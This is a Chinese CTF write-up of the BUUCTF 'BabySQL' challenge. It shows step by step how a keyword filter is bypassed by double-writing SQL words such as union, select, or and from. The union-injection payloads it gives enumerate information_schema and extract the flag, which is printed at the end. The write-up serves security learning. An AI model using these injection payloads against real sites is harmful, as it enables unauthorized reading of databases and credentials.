当前位置: 首页 > news >正文

记一次经典SQL双写绕过题目[极客大挑战 2019]BabySQL 1

题目环境:
image.png

作者已经描述进行了严格的过滤
做好心理准备进行迎接

判断注入类型

admin
1’

字符型注入
image.png
万能密码注入

admin
1’ or ‘1’='1

报错
image.png

已经是字符型注入了,所以的话只有or这里存在了过滤
联想到buuctf里面还没有碰到双写绕过的题目
所以这里斗胆试一下使用双写绕过

1' oorr '1'='1
成功
image.png
使用堆叠注入爆数据库
1';show database();
报错
image.png
抛弃堆叠注入
尝试联合注入

联合注入末尾需要使用#号键进行注释#号后面的命令,避免报错

这里值得提一下schema和schemata和常见命令的理解

SCHEMA在MySQL中是数据库,SCHEMATA表用来提供有关数据库的信息。
union select就是联合注入,联合查询的意思
from来自
information_schema是MySQL自带的数据库
group_concat将值连接起来
where来自那个数据库或数据表等等

爆列数(关键命令采用双写进行绕过)
1' oorrder bbyy 4#
image.png
1' oorrder bbyy 3#
image.png

可知列数只有3列

查位(关键命令采用双写进行绕过)
1' ununionion seselectlect 1,2,3#
image.png
爆数据库(关键命令采用双写进行绕过)
1' ununionion seselectlect 1,database(),3#
image.png
采用第三列进行注入
爆所有数据库(关键命令采用双写进行绕过)
1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#
image.png

根据常识ctf数据库里面存在flag的可能更大,故选择ctf数据库

爆ctf数据库里面的数据表
1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'#

因为ctf在schema里面所有这里就是table_schema,schema里面的数据库ctf里面的数据表

得到Flag数据表
image.png
爆Flag数据表里面的字段
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'#
得到flag字段
image.png
爆flag字段内容
1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#

ctf.Flag意思就是ctf数据库里面的Flag数据表

image.png
得到flag:
flag{fbd18420-cab7-4d6e-8fb9-f8ea6febda61}

相关文章:

  • 机器视觉 opencv 深度学习 驾驶人脸疲劳检测系统 -python 计算机竞赛
  • react 实现chatGPT的打印机效果 兼容富文本,附git地址
  • 【系统架构设计】计算机公共基础知识: 6 知识产权与标准化
  • Android ViewGroup 浅析一
  • Redis7--基础篇2(Redis的十大数据类型及常用命令)
  • freertos任务参数
  • 【计算机组成】实模式/保护模式下地址分段(基段地址+偏移地址)的原因
  • 找到【SVM】中最优的惩罚项系数C
  • Python中CAN通讯学习
  • Appium 移动端自动化测试,触摸(TouchAction) 与多点触控(MultiAction)
  • QT学习之QT概述
  • -Xms8g -Xmx8g -Xmn3g 生产事故-记一次特殊的OOM排查
  • 深入理解 Django 模板系统
  • asp.net生产线远程故障诊断系统VS开发sqlserver数据库web结构c#编程Microsoft Visual Studio
  • Hadoop知识点全面总结
  • 4月23日世界读书日 网络营销论坛推荐《正在爆发的营销革命》
  • Android Volley源码解析
  • ECMAScript6(0):ES6简明参考手册
  • java取消线程实例
  • Python 反序列化安全问题(二)
  • Python学习之路16-使用API
  • select2 取值 遍历 设置默认值
  • supervisor 永不挂掉的进程 安装以及使用
  • TCP拥塞控制
  • Vue.js源码(2):初探List Rendering
  • Vue全家桶实现一个Web App
  • webpack+react项目初体验——记录我的webpack环境配置
  • windows下使用nginx调试简介
  • 包装类对象
  • 聚类分析——Kmeans
  • 力扣(LeetCode)21
  • 一个普通的 5 年iOS开发者的自我总结,以及5年开发经历和感想!
  • 转载:[译] 内容加速黑科技趣谈
  • 如何在招聘中考核.NET架构师
  • 曾刷新两项世界纪录,腾讯优图人脸检测算法 DSFD 正式开源 ...
  • # 飞书APP集成平台-数字化落地
  • #13 yum、编译安装与sed命令的使用
  • #AngularJS#$sce.trustAsResourceUrl
  • #鸿蒙生态创新中心#揭幕仪式在深圳湾科技生态园举行
  • #数学建模# 线性规划问题的Matlab求解
  • (delphi11最新学习资料) Object Pascal 学习笔记---第8章第5节(封闭类和Final方法)
  • (HAL库版)freeRTOS移植STMF103
  • (NO.00004)iOS实现打砖块游戏(十二):伸缩自如,我是如意金箍棒(上)!
  • (pojstep1.1.2)2654(直叙式模拟)
  • (webRTC、RecordRTC):navigator.mediaDevices undefined
  • (安卓)跳转应用市场APP详情页的方式
  • (第8天)保姆级 PL/SQL Developer 安装与配置
  • (转)创业家杂志:UCWEB天使第一步
  • (转)机器学习的数学基础(1)--Dirichlet分布
  • (轉貼) 寄發紅帖基本原則(教育部禮儀司頒布) (雜項)
  • .net 7 上传文件踩坑
  • .net core 微服务_.NET Core 3.0中用 Code-First 方式创建 gRPC 服务与客户端
  • .net core控制台应用程序初识
  • .NET Core中的去虚
  • .net framwork4.6操作MySQL报错Character set ‘utf8mb3‘ is not supported 解决方法